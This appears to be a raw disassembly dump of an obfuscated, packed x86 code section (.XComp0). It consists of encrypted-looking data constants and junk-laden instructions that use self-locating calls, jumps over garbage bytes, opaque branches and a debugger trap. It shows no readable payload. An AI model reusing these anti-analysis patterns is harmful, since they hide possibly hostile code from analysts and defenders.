[edx+esi*2-36h] adc ch, cs:[ecx-44h] adc eax, 2AFDB8DEh xchg eax, ebx inc ebx mov si, di mov dword ptr [ebp+5F926C1h], 5B4Ch or ah, 24h mov dword ptr [ebp+5F900FDh], 0 push 0 push edi call sub_606342 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_606342 proc near ; CODE XREF: .XComp0:0060633Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_606342 endp ; --------------------------------------------------------------------------- dw 619Fh dd 666AB0B4h, 854E881h, 159DB5FFh, 0FFF805F9h, 0F920D595h dd 5800F05h, 66000000h, 66CFCF81h, 95FF006Ah, 5F91AEDh dd 18EBC08Bh, 0C57E557Dh, 4CD7550Ch, 28CEBFF6h, 0B94DBB41h dd 0C9122A4h, 9F163741h, 0BE8h, 4765AE00h, 8395C814h, 42FA809Fh dd 26D99D01h, 2B5805F9h, 0F91305B5h, 0F3C08105h, 0F00005Ch dd 0C92BDBBFh, 91746EBAh, 83C8B6Bh, 1DB58957h, 5B05F91Bh dd 0A3E2C781h, 81661D91h, 81B43DD6h, 0D6CF3EFh, 2DB52B72h dd 8105F912h, 555C6EC7h, 0D88A5029h, 83C895Ah, 8BD2B70Fh dd 0F9095195h, 0E5E98105h, 0E9235C98h, 10h, 3F25694Dh dd 0CD76D8A9h, 1ABB68F7h, 0B0A21491h, 98E1C181h, 0F981235Ch dd 0FFFFA39Ch, 0FF9B850Fh, 0B589FFFFh, 5F91F85h, 0ADE900EBh dd 42000005h, 2BCA729Fh, 2D984CC3h, 21C4788Bh, 30974DB8h dd 6BC97B8Ch, 0A6618936h, 9675577Eh, 0A564876Eh, 9677587Fh dd 0A8B3846Eh, 2393D7D5h, 0EBD49D52h, 7318EF03h, 67D66D17h dd 0D87E2BA2h, 0A246CE62h, 11ABBEDh, 45C82592h, 76759950h dd 0B158835Ah, 7DA46D3Ch, 10E697C4h, 0A6632996h, 993FA690h dd 0AC55B26Ah, 96110E6Fh, 816C8B29h, 3EAD4188h, 7196369Dh dd 1CA384B8h, 8A5F56AFh, 85658564h, 562D9CAEh, 69857214h dd 0EB96BA6h, 44C327AEh, 87B2578Dh, 95C4B1CCh, 9B712E29h dd 0C5AFC020h, 0EFFF62h, 0D0F72DDEh, 3FE81CEDh, 378612FAh dd 0E81EBC3Fh, 960F324Bh, 5CF2AF29h, 2EED308Dh, 29960F4Bh dd 0EE16DBC8h, 0E607F049h, 0F710C27h, 31EE2996h, 0D00A2A1Dh dd 0E57D2F97h, 8EB35A83h, 9ABC4771h, 80856651h, 70872E0Dh dd 5998BE4Fh, 8E756370h, 62975207h, 22937655h, 0AC8DA747h dd 4EB3C655h, 73302394h, 0C91187E3h, 310E910h, 23944E7Ah dd 90E90AF7h, 623944Eh, 0C6C323E8h, 0A580330h, 0BD298D57h dd 0D3DA2F8Eh, 0D8339906h, 14CD04D5h, 56F62BC0h, 0B10D3013h dd 4782575Eh, 847B3EA7h, 0AB9EB059h, 1D9AE0CEh, 6A6BA44Ch dd 23AA5D7Dh, 623C2A65h, 1A6B61D6h, 0CD71596h, 0C00EED01h dd 3548D32Eh, 0AB1D9B1Dh, 1ACFC63Dh, 0B257F7A4h, 46D4353Eh dd 179F7h, 608C5100h, 7BB65975h, 0D9A4AF7Ah, 56299685h dd 718E2BA9h, 9C99BD48h, 93966F65h, 6D55A391h, 9675CBAEh dd 965B4829h, 75CDB06Bh, 5D4A2996h, 75EF96B9h, 75542996h dd 6C3DB053h, 0DA987CA5h, 7E44D76Fh, 44E5FE10h, 37002AD0h dd 0F006098Eh, 831DC01h, 0B73ECDEFh, 3E24CE2h, 0F10E33DAh dd 36AF3FCAh, 18B632A4h, 677DCED6h, 0F0395A03h, 0F3530039h dd 192F8F6Eh, 0CEC93E9Eh, 0C59419EEh, 25DCC931h, 35D9369Ah dd 0BB112EACh, 20396E5Eh, 27D67889h, 818C313Bh, 772A158h dd 84239C89h, 8DBD7797h, 0DC2F8D1Bh, 0E5D3EC15h, 2CC2971Eh dd 0B5D254FFh, 10FD2995h, 0A35A7A03h, 0BF0AF71Dh, 0D401E9CEh dd 0F7B223ECh, 0FFEB0A32h, 8F158508h, 0C52EA65Bh, 97A1E02Fh dd 7F9C99BDh, 1DA3482Eh, 0B2A65E4Bh, 0D143FE24h, 0A21E0345h dd 89A64879h, 73EE5CB0h, 66850E5Bh, 9A017DD0h, 8774239Ch dd 31B92106h, 62945617h, 8FB57CDEh, 6D518468h, 0A1DC77A2h dd 1E17A98Eh, 0C871A861h, 0A98EF28Bh, 0FDFE7D17h, 348BDC0Dh dd 0A841D5D2h, 4030B01h, 9A61B4ECh, 0EE72E874h, 0E1B83DD2h dd 0E406F128h, 0F1220F1Fh, 17AA21BCh, 730D4D1h, 0BA3BCCF0h dd 3CA04FDFh, 7BE16CBh, 0D5A8B34Dh, 5217AA0Ch, 59997F55h dd 58917C61h, 78E7D5Fh, 9572BC52h, 59CEAF6Ch, 5E4B17AAh dd 46CE82B8h, 9336B027h, 79040F7Dh, 0F629967Dh, 322EC009h dd 0A41B61A4h, 327E7C28h, 0B51142F7h, 0D32F8E9Fh, 0E12C912Eh dd 9C7D2752h, 57F7A423h, 0DC99C59Fh, 0BA65C0C2h, 54797E6Fh dd 0A4C983B9h, 8965CB51h, 97892E86h, 0D0B6E624h, 1267EC19h dd 0D2239BD7h, 2FC7E6FAh, 0E707A0BDh, 0FB26E708h, 1D60FB46h dd 9A239B91h, 912B4EEDh, 0FBA8239Bh, 0D9F6E15Bh, 160FD902h dd 3B7AD1D7h, 0DB06CB06h, 870EF7E4h, 2B4831E2h, 0D8C5239Ch dd 45E4FD11h, 2D1C42CFh, 29CDAC03h, 31E825CAh, 4CE227C6h dd 38260193h, 6F508B34h, 92D07981h, 4C85DB5Dh, 0DE925F85h dd 0A648D5D7h, 0B566B119h, 239BEFC4h, 88D4441h, 0EFC7B261h dd 5744239Bh, 3EA07C92h, 7B000000h, 42B35C84h, 0FF71C767h dd 4B083169h, 2F8F99FBh, 0D1369621h, 11C8B53Dh, 70522BE8h dd 0D2CF239Dh, 0F906A33Ch, 27E808D5h, 183EEBE2h, 0E019F4D9h dd 9518F7D7h, 0DB0832C4h, 17h, 8831CE25h, 0E697C47Dh, 63299685h dd 786190A6h, 0BE1F088Dh, 8C93AD4Fh, 547EA65Fh, 55AE1CA3h dd 74D26C60h, 0FB79715Fh, 8132036h, 29958979h, 671241EEh dd 0DD299589h, 0E99608FBh, 25CAAD20h, 0FBF217B6h, 0C13EE32Eh dd 3DFCF11Ch, 95895B1Eh, 0E62BD829h, 1638D3F9h, 90BE4DCDh dd 0F4D7E099h, 0D340115h, 0AE40CDF2h, 9589E69Bh, 4E7C5B29h dd 64A14AB5h, 0C871B871h, 9589F28Bh, 8AB26F29h, 5CA912ADh dd 7F6E8059h, 0AB5E7D5Eh, 9C44BB66h, 0C38A8273h, 25FA32B9h dd 6BC569A0h, 3E5C4E9Ch, 9D000000h, 0E5C6B764h, 8E3C2995h dd 35A98075h, 0CE90A648h, 704D8A31h, 8861549Dh, 0A7668766h dd 719C4126h, 3D666ECBh, 0A715D827h, 0FCC1AD41h, 0DC00D903h dd 3AEFAA2Bh, 0CFF9E6B3h, 46E8C134h, 0AC658CF0h, 6CA13E29h dd 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h, 0BB4A6F78h dd 788B2D3Ah, 0C14E7275h, 89561BCCh, 4C681E6h, 83000000h dd 343304EEh, 24343124h, 5C243433h, 680768h, 242C8900h dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0EC81241Ch dd 4, 0B9240C89h, 1C1031E9h, 6649E981h, 0C1813E3Ch, 282EE2AAh dd 5459CD89h, 81241C8Bh, 4C4h, 0BA525500h, 112540Ah, 4245431h dd 8438F5Ah, 0A087381h, 0FF011254h, 815B2434h, 4C4h, 242C8B00h dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 0F6CB25E9h, 1E1B76FFh dd 459D3128h, 0B36D11A7h, 32CC29EAh, 2B355B8h, 0FFC50306h dd 3AB7DAE0h, 55B53201h, 67EF16Ah, 96B5D913h, 86A18535h dd 252C8463h, 89FDA34h, 0A66DEA70h, 0D5FD4A70h, 29AF7832h dd 659B3A0Dh, 0C3816679h, 0D08B1EFFh, 0F3ADC80h, 128Bh dd 0DE900h, 1D220000h, 4B09DEE7h, 69C4B1FEh, 0F0BB2CEh dd 38Ah, 0F28B6600h, 0BE9h, 958EEA00h, 21432FE9h, 1E69F48Fh dd 0FE860h, 8CD00000h, 0E0A71E00h, 30E34E49h, 7CDDCFF1h dd 5E921h, 5C450000h, 5B4CD03Ah, 0BE961h, 0FAE90000h, 0EB885BE1h dd 0F770C889h, 6EDF8035h, 0F4FEBF66h, 0F380F28Bh, 0C18B600Dh dd 0BBB061F8h, 0F9F8C38Bh, 5810Fh, 43BE0000h, 0B51695DEh dd 576FBA25h, 0BF0F3F35h, 85D9BBD0h, 0BA661C43h, 66FC30DEh dd 8166CB8Bh, 0FF9D0E8h, 0F180DABFh, 0C6816619h, 0BF66A0F4h dd 0B70F83D1h, 0DF8B66D1h, 37C059B9h, 0EE979h, 48E60000h dd 23118594h, 0F476A196h, 7AD9A86h, 10E8CA8Bh, 22000000h dd 14FF747Eh, 19A314A0h, 0CC1FF6ECh, 0E8A60A48h, 0Dh, 0D73DFE1Fh dd 7A338BE4h, 13990E44h, 5B595794h, 14E9605Fh, 0F2000000h dd 6719EC2Ah, 6C04B96Dh, 0F1FE8B61h, 0AC15BA2Dh, 663A5B8Bh dd 8B61F88Bh, 0EE8166F3h, 0B9660606h, 0F88B19BCh, 0AE9h dd 2B065500h, 843DEDE0h dd 667EDF52h, 5851DE8Bh, 2DD98166h, 0C4CD8028h, 8B665250h dd 0E95959C6h, 0Fh, 0F27852BFh, 39072FADh, 1EB4D78Dh, 80B09F33h dd 815164DCh, 0EA4F3D9h, 81665E39h, 0F5193F3h, 986h, 3820F00h dd 0F000000h, 0C88BC0B7h, 12E9h, 48EFA200h, 0E7DA3B57h dd 0CA438285h, 3FCA0D95h, 0F762924h, 1086h, 0BE900h, 62CB0000h dd 57FBACA5h, 115DCDD4h, 4D9FBBEBh, 7E80D27h, 5B000000h dd 1635E023h, 58F9FE8Dh, 198B0FF9h, 0E8000000h, 0Eh, 7FB769EFh dd 40E49A0h, 23B6713Bh, 0D3B842CDh, 5B4E5E74h, 0E7CA8166h dd 41CA80C9h, 7E960F8h, 0BB000000h, 4D45C334h, 0CE811E93h dd 75446DF2h, 50D6B361h, 58F2BF0Fh, 0E9CF8B66h, 14h, 0F5000905h dd 3231D7E0h, 5ECBF296h, 4B5BDAB7h, 0A895F7D0h, 0F88B66FCh dd 12E956B0h, 39000000h, 0F22A605Bh, 0AB80F677h, 7E0C58D8h dd 0CBB8403Eh, 0BE860ACh, 2000000h, 66B3A9D8h, 97BE7E8Ch dd 0F6B613C6h, 0F3816659h, 0F61040Eh, 0E7BAF9BFh, 8A2A71BDh dd 0BE8D3h, 9B130000h, 0B9772B0Bh, 0A365C2CEh, 0F78B66B8h dd 0E3BF665Ah, 2800F2Fh, 8B000000h, 0F4D480F8h, 0BB666DB4h dd 66562BB9h, 741C081h, 0D98B665Ah, 5AE868BFh, 13E95Ah dd 0AE820000h, 5CB4ADC9h, 8170C29Bh, 72AD47D4h, 12264681h dd 6BE281D1h, 0F52B825h, 182h, 0BA66F900h, 8B6681CBh, 0DE8D8h dd 41420000h, 0C2D53E0Dh, 0E991C95Ah, 60D5A203h, 0D8C98166h dd 81586138h, 0E4F944E9h, 0BF0FF828h, 7E8F9h, 32A00000h dd 196C3AFh, 12E970h, 807B0000h, 65EA7746h, 0BEE6271Bh dd 0B780124Fh, 717CC5Ch, 0CEBF0F59h, 12E9h, 57545B00h dd 3EB178E7h, 94267091h, 8D6925EBh, 0E943A707h, 0Fh, 3FBBEB42h dd 0A8528FEFh, 5D2AED27h, 0FC1CCAD8h, 2EE8166h, 0E532B93Eh dd 0BF0F577Eh, 0D1BF0FDBh, 0FCEBF0Fh, 0E881F1BFh, 3CC0686Bh dd 4ADABF66h, 66D3B70Fh, 7F1EE081h, 0FC60F5F9h, 6E960h dd 274D0000h, 0EBD57178h, 8B0Fh, 61610000h, 3B56BE66h dd 0B7D1D2B9h, 7D8DBF2Fh, 6660321Ah, 7BEF281h, 72B96650h dd 60615B1Dh, 18870Fh, 13E90000h, 0B3000000h, 0E1C5E5FDh dd 0AF8EE42Ch, 2BDFE50Fh, 44DEE88Bh, 8A617122h, 0FC38AFDh dd 0CA8BFBBFh, 0DE9F18Bh, 24000000h, 0DB41C830h, 0A7C8E699h dd 32943FFAh, 13E8h, 8D0C9D00h, 78CC2F8Ch, 9E4CFF5Ch, 7A6422E9h dd 76AD636Fh, 0F3BF0F59h, 0B9CFBF0Fh, 226D39DAh, 9F78166h dd 0F28B66DCh, 0DBE5BF60h, 7E95541h, 0CD000000h, 96123D9Bh dd 66619092h, 0F07B8BEh, 4B3CEB7h, 9355BA66h, 12E9h, 0DE5F1000h dd 8ADAA4B1h, 2A7E60EFh, 8CE5F80h, 0F32ECD5h, 0C8Ch, 81666000h dd 6647D9EAh, 885CC281h, 0E8F38B61h, 0Fh, 8FF04E44h, 0C617454Dh dd 0D99B2993h, 8B8C8BBFh, 0B9665ADFh, 0BE666764h, 13E924FDh dd 50000000h, 0CC4B0761h, 5FCE0D4h, 3DCCA98h, 41529E27h dd 8AF8B03Dh, 0D8B70FFCh, 0AE8h, 8501C500h, 3CEEA63Ch dd 0F9310C1h, 289h, 59616000h, 7797C881h, 8B6671D2h, 0BE9DEh dd 9B6C0000h, 76204832h, 59ABDF65h, 13E3803Dh, 0B8A0F60h dd 0E8000000h, 5, 0E3F93BCCh, 0BA665B85h, 6661AC9Ah, 57A23DBEh dd 66D68B60h, 61DCC7B8h, 0DA8B665Eh, 0D3BF0F52h, 0CA81665Fh dd 0D88A67E1h, 8B0FD48Ah, 0Fh, 0AE9h, 2A1F2400h, 0F7279297h dd 0FFC68E2h, 88Eh, 8B666000h, 0DBBF0FDFh, 0D08B6661h dd 0BE857h, 5FB40000h, 32A65852h, 516ED365h, 5FB7B6FFh dd 0FFB8B5Bh, 178Bh, 0EE800h, 59BA0000h, 2872CA8Eh, 5ACF78F5h dd 8A042F94h, 58FA8B66h, 1840Fh, 0E9FC0000h, 5, 0CACA761Fh dd 0EB816696h, 81607B1Dh, 681B88C3h, 57B4615Ch, 0B70FF960h dd 0F08A61C8h, 0AE9h, 1AB4C300h, 0ACA97B74h, 0FBE563Fh dd 8B66F2B7h, 0F0BF0FC1h, 820Fh, 66600000h, 840FF18Bh dd 3, 61F1B70Fh, 0D88166F5h, 850F0DE7h, 3, 60C38B66h, 2870Fh dd 61600000h, 0E861F18Bh, 0Bh, 5FA69FB9h, 24A71294h, 66E97E91h dd 665EF78Bh, 0B860C28Bh, 53BE9E9Dh, 1A840Fh, 14E80000h dd 0CC000000h, 9FA65F28h, 74C8ED8Dh, 0E7D5C551h, 0DD975B86h dd 5B119474h, 0F3BF0F61h, 0E9E6C580h, 9, 7E523D5Bh, 4E067E24h dd 0F0816022h, 5CE8136Dh, 8C0F60h, 66000000h, 0C0E8DE81h dd 0BE96161h, 94000000h, 9C4F68CBh, 71B9A04Fh, 0EE8AB24h dd 0A0000000h, 62563BD3h, 0D7B731C2h, 1B8A4EBEh, 59CEB732h dd 1FC6B966h, 0E96098B4h, 0Fh, 78C52210h, 2DE850BFh, 902D97ABh dd 0E99A623Eh, 0Ah, 3542F4D2h, 0B85F5A70h, 0E961FAD0h dd 9, 654EF3C2h, 14CB4027h, 0B1D78B6Ch, 0D88B5154h, 0AE858h dd 0A34F0000h, 50342A6Ah, 72DACB7h, 28A0Fh, 0E88A0000h dd 0CE85Eh, 0DDDF0000h, 9AC5744Ch, 5E68C42Ah, 86B0A2B6h dd 25EE815Eh, 0E90B0483h, 8, 0CDACD735h, 46C759C5h, 8E8h dd 6037BB00h, 9F78A576h, 0B860586Fh, 0BDED5F6h, 8161C88Ah dd 996F0CD1h, 10E90Dh, 0ACE70000h, 6FE55FBDh, 0CC5063E4h dd 68FAE62Bh, 8B523024h, 840F5FD7h, 12h, 0DE9h, 4CBA2A00h dd 5B34D34Bh, 0D46661Dh, 0BB49D7Dh, 3810F60h, 0F000000h dd 5E9D8BFh, 2E000000h, 7E66C5D8h, 97CFBF61h, 0BF663CC3h dd 0F514D2Fh, 0E95ED9B7h, 0Eh, 0BAC1860Dh, 0AE88C8B1h dd 0AC8F6917h, 9E9F6A5h, 0BC000000h, 952B7136h, 4CE56A84h dd 2D8D0Fh, 14E80000h, 0E1000000h, 0F8092D86h, 0B347CAA5h dd 0BEB36144h, 0E09FA3F2h, 0E9A64BD1h, 0Eh, 3811F865h dd 3CCE0B50h, 9AEE1CA1h, 8B5AC785h, 12E9C6h, 0EF970000h dd 295335B7h, 0DF32F05Bh, 0A7E2441Eh, 0C44B9F34h, 0FCFB70Fh dd 81h, 0B70F6000h, 8D0FFAh, 61000000h, 596BBA66h, 68C0Fh dd 0EA810000h, 7D6EB015h, 0FDCE8160h, 8B0D6FA6h, 8B0F61D8h dd 4, 0B096BB66h, 8E9h, 607C6600h, 5D76405h, 18D0FC1h dd 0F5000000h, 816EE180h, 1D3E16C3h, 0C3B70F02h, 0F95DC580h dd 7101BBEh, 0BF66FC43h, 0CE94BA9h, 31000000h, 4B8C6902h dd 26539C93h, 0FE97245h, 148Dh, 0FE900h, 4E770000h, 45EDF801h dd 94AC70F7h, 0ED1E4629h, 7E85Bh, 0D2D0000h, 8119AE52h dd 58FE8BA3h, 0ECD08166h, 0BE952h, 0F4480000h, 931DCE0h dd 880D33F4h, 10E9F8FDh, 79000000h, 0ADE21A12h, 3BC0955Fh dd 2D146ACDh, 0E953E3DFh, 14h, 0E29F95ACh, 0EEE5FC40h dd 0F468AA81h, 0E200A0C0h, 0FD5D818Bh, 0CE956h, 64080000h dd 90C59A8h, 7196B359h, 0F5586E8Bh, 59E68A51h, 0EE9h, 84084700h dd 0DE4CBFh, 0AB2746B0h, 0F87D441h, 0B866F6BFh, 7AB54732h dd 800FF8B1h, 6, 5A91DB81h, 0BF0F40A4h, 138A0FFBh, 53000000h dd 0CE9h, 6888E200h, 890FA3E2h, 57E5D744h, 0F1805B8Eh dd 52D18B1Bh, 8C0F57h, 5E000000h, 6670B759h, 0D88BD98Bh dd 0EE952h, 0C2280000h, 0F849A22Fh, 82192165h, 5F741E0Fh dd 57C68B5Ah, 81665FF9h, 0E976E1EBh, 0Ah, 0D451F573h, 85C07F17h dd 8B51D3F5h, 0F88A5ACFh dd 6810Fh, 0F0810000h, 50F1317Ch, 10E9h, 0F6EABE00h, 0D60FCAFDh dd 2CB43DDDh, 0EC95E3C9h, 8B6060F2h, 25E281F9h, 6147196Eh dd 0C3816661h, 8F0F3D84h, 3, 66DA8B66h, 0CD25DB81h, 13E9F9h dd 67600000h, 5FA5E7BAh, 7BEB821Dh, 0C0CD8996h, 0B28E71C3h dd 2890FCBh, 0B5000000h, 0F98B6644h, 0D68B6060h, 0EE9h dd 12A73000h, 0F734DFE8h, 310934C9h, 617BB38Ch, 2860F61h dd 8A000000h, 0C98166F4h, 66F96FD5h, 0EA80D98Bh, 0CFBF0FEEh dd 48E0Fh, 0B8660000h, 0BF6649CEh, 8B668858h, 0AE9C6h dd 5F620000h, 0F37BF6F0h, 0E89AD391h, 0EE8h, 0C3148000h dd 0BFB25A65h, 0B3B206AAh, 56BD5DC1h, 5959B1B0h, 12E9h dd 87B15300h, 4CB8EB49h, 607F7741h, 7D2C482Eh, 668E8DA6h dd 0E98D01BFh, 6, 0BCE59ACEh, 870FF171h, 0 ; --------------------------------------------------------------------------- push ecx jmp loc_607460 ; --------------------------------------------------------------------------- sbb [edx+edx*8+75h], bh imul edi, ds:869E628h, 7C0449E6h loc_607460: ; CODE XREF: .XComp0:0060744Dj pop eax clc push ebx push edi mov bx, 208h pop ebx pop edi jnz loc_607474 mov ax, 8358h loc_607474: ; CODE XREF: .XComp0:0060746Aj clc jno loc_607486 jmp loc_607486 ; --------------------------------------------------------------------------- dd 7193AEECh db 0FEh, 9Fh ; --------------------------------------------------------------------------- loc_607486: ; CODE XREF: .XComp0:00607475j ; .XComp0:0060747Bj and cl, 0Ch mov ecx, 41338732h mov al, cl mov edi, esi mov ax, 0ECD1h mov eax, 2745554Ch jmp loc_6074B1 ; --------------------------------------------------------------------------- dd 0A408678Eh, 8DF01C83h, 0CCD5E8A8h, 0B93C863Eh db 15h ; --------------------------------------------------------------------------- loc_6074B1: ; CODE XREF: .XComp0:0060749Bj mov esi, eax adc dh, 51h or cl, 4 jmp loc_6074C4 ; --------------------------------------------------------------------------- dw 2711h dd 0FBEA64Ch ; --------------------------------------------------------------------------- loc_6074C4: ; CODE XREF: .XComp0:006074B9j mov cl, 0B2h mov dx, di jnb loc_6074D2 push esi cld pop edx loc_6074D2: ; CODE XREF: .XComp0:006074C9j mov di, dx jmp loc_6074E5 ; --------------------------------------------------------------------------- dw 0A486h dd 8644B2B1h, 0A1101F6Ah db 0A8h ; --------------------------------------------------------------------------- loc_6074E5: ; CODE XREF: .XComp0:006074D5j mov bx, 0E066h jo loc_6074F1 mov edi, ebx loc_6074F1: ; CODE XREF: .XComp0:006074E9j pusha mov di, 9717h popa stc mov edi, esi jmp loc_607510 ; --------------------------------------------------------------------------- stc db 2Eh pop es push cs mov edx, 3EB4B7E8h db 3Eh add al, dl push edx mov bl, 0E1h shr al, cl loc_607510: ; CODE XREF: .XComp0:006074FAj mov dx, 0FB49h jmp loc_607528 ; --------------------------------------------------------------------------- db 40h, 0F4h, 78h ; --------------------------------------------------------------------------- xor al, 0EEh and al, [ebx-56h] and ah, [edi-2BE73E0Ch] int 3 ; Trap to Debugger loc_607528: ; CODE XREF: .XComp0:00607514j jmp loc_607539 ; --------------------------------------------------------------------------- db 5Bh, 6, 41h dd 0D2410169h, 0BE322908h db 0E3h ; --------------------------------------------------------------------------- loc_607539: ; CODE XREF: .XComp0:loc_607528j mov ecx, 1493FA71h jmp loc_60754F ; --------------------------------------------------------------------------- inc edi xchg eax, esi std sub cl, ds:4FE1A619h pop ds scasd push ss loc_60754F: ; CODE XREF: .XComp0:0060753Ej jmp loc_607566 ; --------------------------------------------------------------------------- dd 46EA2E52h, 17005B99h, 30F0C91Bh, 0D4B6F824h ; --------------------------------------------------------------------------- xchg eax, edx setalc loc_607566: ; CODE XREF: .XComp0:loc_60754Fj clc mov si, 15EEh mov ax, 72A1h jmp loc_607586 ; --------------------------------------------------------------------------- mov eax, 53755C4Eh imul esi, ebx, 0E784709Fh pop ds test edx, 33BDF8B1h loc_607586: ; CODE XREF: .XComp0:0060756Fj mov di, dx stc jle loc_607592 mov bh, dl loc_607592: ; CODE XREF: .XComp0:0060758Aj jmp loc_60759F ; --------------------------------------------------------------------------- db 6Fh ; --------------------------------------------------------------------------- xor dh, [ebx+ecx*8-7D463CB8h] loc_60759F: ; CODE XREF: .XComp0:loc_607592j jmp loc_6075AE ; --------------------------------------------------------------------------- dd 9532F6A9h, 366F0705h ; --------------------------------------------------------------------------- repne stosd loc_6075AE: ; CODE XREF: .XComp0:loc_60759Fj xor dx, 32BBh clc call sub_6075C8 aam 36h stc push eax and byte ptr [eax-35h], 74h dec edx inc edx mov ebx, 0FDCEFA74h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_6075C8 proc near ; CODE XREF: .XComp0:006075B4p jmp sub_6075D7 sub_6075C8 endp ; --------------------------------------------------------------------------- db 3Dh, 4Ch, 54h dd 8BB24E16h db 31h, 9Eh, 34h ; =============== S U B R O U T I N E ======================================= sub_6075D7 proc near ; CODE XREF: sub_6075C8j pop ebx call near ptr loc_6075EF+1 adc esi, ebx sub [ebx], edi db 64h mov ebp, 72737C47h pop ss pop ebp mov ds:2772E3B0h, eax pop ss loc_6075EF: ; CODE XREF: sub_6075D7+1p mov eax, 0CE9h sub_6075D7 endp ; sp-analysis failed add [eax+ebp], bh scasd mov ecx, 0D4CB8056h xchg eax, ecx dec esi mov ebx, 0EA815870h ficom dword ptr [ebx-7Eh] sbb ecx, [edi] mov edi, 4830FF2h ; --------------------------------------------------------------------------- dw 0 dd 0CA8B5100h, 0C3E08059h, 0BA66F18Bh, 0F56CDD9h, 8Eh dd 0F7815F00h, 721D05F5h, 11E9h, 0BC9E2900h, 0C08D18C0h dd 0B4B61883h, 0B1CF15AFh, 0E38A464Bh, 410EB966h, 14E8h dd 0E2592600h, 0CF36A2EAh, 2FBEC6C8h, 3DE8408Eh, 0C1B7CB11h dd 13CE8079h, 35BF6658h, 38D9801Fh, 0C8A0Fh, 8A0F0000h dd 6, 830Fh, 0D1810000h, 6ED14D94h, 0BB1DEA81h, 14E84520h dd 8C000000h, 3B45D931h, 2F3E87D0h, 1709120Eh, 48C00C5Ah dd 66276A3Eh, 0E3BBC281h, 0F98B6659h, 16BEF381h, 0D681466Eh dd 630F8ED0h, 5E9h, 1B3A2900h, 0FA8B0982h, 0B7F38B66h dd 138D0FB8h, 0E9000000h, 0Eh, 2A25527Ah, 0A72330C5h, 29CCAEAFh dd 665072CEh, 0FA3ED281h, 66FA8B5Fh, 5C9BD281h, 0B3D08B66h dd 11E815h, 0FCA10000h, 7344B574h, 0EBF52D3Ah, 0A5486D64h dd 5E18725Ah, 5896F081h, 0F08B1827h, 5E9h, 0D8B27D00h dd 0B70FF9B9h, 665E51C8h, 850FCB8Bh, 2, 14E8D98Ah, 5E000000h dd 1A9559D3h, 5A756D6Bh, 1A466DE2h, 0A6BCC43Eh, 0E9630E6Eh dd 0Eh, 0DB5EC7A1h, 4CD976FCh, 31D20030h, 0BF5ADDA7h, 73D5D517h dd 0C8A0Fh, 800F0000h, 6, 8C0Fh, 0BA660000h, 80B1AC5Eh dd 28F0Fh, 0F48A0000h, 0E930B9F5h, 81512D95h, 8122E1h dd 6E95E53h, 36000000h, 0B2F11D5Ch, 3FD88184h, 800D3367h dd 0C5807FC3h, 8AF08136h, 660559F5h, 5060D78Bh, 7161EA81h dd 0B3596836h, 5E9619Fh, 0 dd 0E0664F32h, 9BE88166h, 0C88B66CCh, 0B4C30EB9h, 8166F847h dd 0E853F5F3h, 6, 0EC78FC85h, 8B66F547h, 665359FBh, 0E959F08Bh dd 8, 305C9BA6h, 76CD8F70h, 85C1BB60h, 536109C7h, 0B4582AB5h dd 98C0FA9h, 60000000h, 66DAB70Fh, 61D6AEBBh, 0CE8B6656h dd 0FCF8A59h, 81FCD3B7h, 588B34D6h, 0EE949h, 29B00000h dd 0B559B3CAh, 0A9527617h, 809BEA95h, 0F8F8BF0Fh, 0B720E281h dd 8B6611D9h, 0C639BEFEh, 8B0F7E9Fh, 3, 0E9CF8B66h, 8 dd 0B7027F49h, 42B903EEh, 5E8h, 7F2E2100h, 0BF0F3E51h dd 0E9F85AFEh, 0Dh, 909DCABBh, 83DBA38Eh, 0BE032505h, 41D081C2h dd 8039528Eh, 10E95BD7h, 0AB000000h, 0DF223265h, 0ABA4B08Eh dd 98D741ACh, 66CCA14Ch, 0AE8CF8Bh, 0C9000000h, 0B7DE6D0Ah dd 772C5Ah, 0BB75713h, 0B8665859h, 0D8B10A31h, 148C0Fh dd 0FE90000h, 0F1000000h, 3CF64B81h, 9E612909h, 7C44A0E4h dd 0DA8BE25Eh, 9830Fh, 820F0000h, 3, 0E9C9BF0Fh, 9, 25605CABh dd 62EF1CF0h, 0A8D0FE1h, 0F000000h, 483h, 16BE6600h, 0ABBDBA17h dd 0CC80719Eh, 6E99Bh, 0BE0D0000h, 0C2FDBE24h, 0FCEB70Fh dd 8166D7BFh, 0B683A6F0h, 0CE9D2h, 90280000h, 773B92E3h dd 9BD8B4C9h, 0EE81475Eh, 0D25D5DFh, 8B6681B3h, 0B058BACAh dd 0D98B19E3h, 1C8C0Fh, 0E8530000h, 14h, 0B5419A22h, 502E388Fh dd 0BCA851E1h, 16CE45AAh, 8DAE5E10h, 8BB35858h, 0F88B6660h dd 0DE8h, 91AAD000h, 0DE5B9F44h, 32FF62D5h, 0BE97224h dd 0DD000000h, 62AE2D7Dh, 0B8B7FC2Ah, 615A6AF8h, 8ADE8B66h dd 8D0FE5h, 0E8000000h, 0Eh, 86476763h, 0C3B808BBh, 368A6B29h dd 870FD1E7h, 16h, 10E8h, 25330C00h, 299B5921h, 8769DFF3h dd 954214F1h, 0F5F5AD5h, 284h, 66E78A00h, 60CF2CBEh, 0BE9h dd 710A0500h, 414788D7h, 4B1D9ED8h, 6E8h, 5F469800h, 0BF6C39F4h dd 48BA8133h, 0EE96158h, 0E8000000h, 0EFED6ABCh, 8F643D8Dh dd 6C2BA271h, 58A0F5Eh, 0BE000000h, 1128F203h, 0E28A3CB6h dd 9F73DF81h, 0BE8564Ch, 2B000000h, 0F6E1AF40h, 0CAA718FAh dd 870F96C1h, 5, 682E02BFh, 8B0F5F64h, 17h, 11850Fh, 0CE90000h dd 0B7000000h, 2767835Dh, 0E72C2AB2h, 0F5A8BDB7h, 0DE6E281h dd 0CE8B0F0Eh, 5F5C981h, 0EE95DCDh, 94000000h, 252D904h dd 0C6A2DA8Ch, 963FECB0h, 6E9F925h, 0E4000000h, 60F4C86Dh dd 0E85F560Dh, 8, 0F9005D62h, 1670212Ah, 13E858F9h, 0CE000000h dd 9E35F8F9h, 0B809610h, 6B55D81Eh, 0AA351CF6h, 0F858E8C4h dd 11E9h, 126ADB00h, 0DB581D2Dh, 5E3C5D26h, 0C66C5322h dd 810FDF6Ah, 8, 880F60h, 61000000h, 10E8h, 73C83200h dd 3A6F5B7Eh, 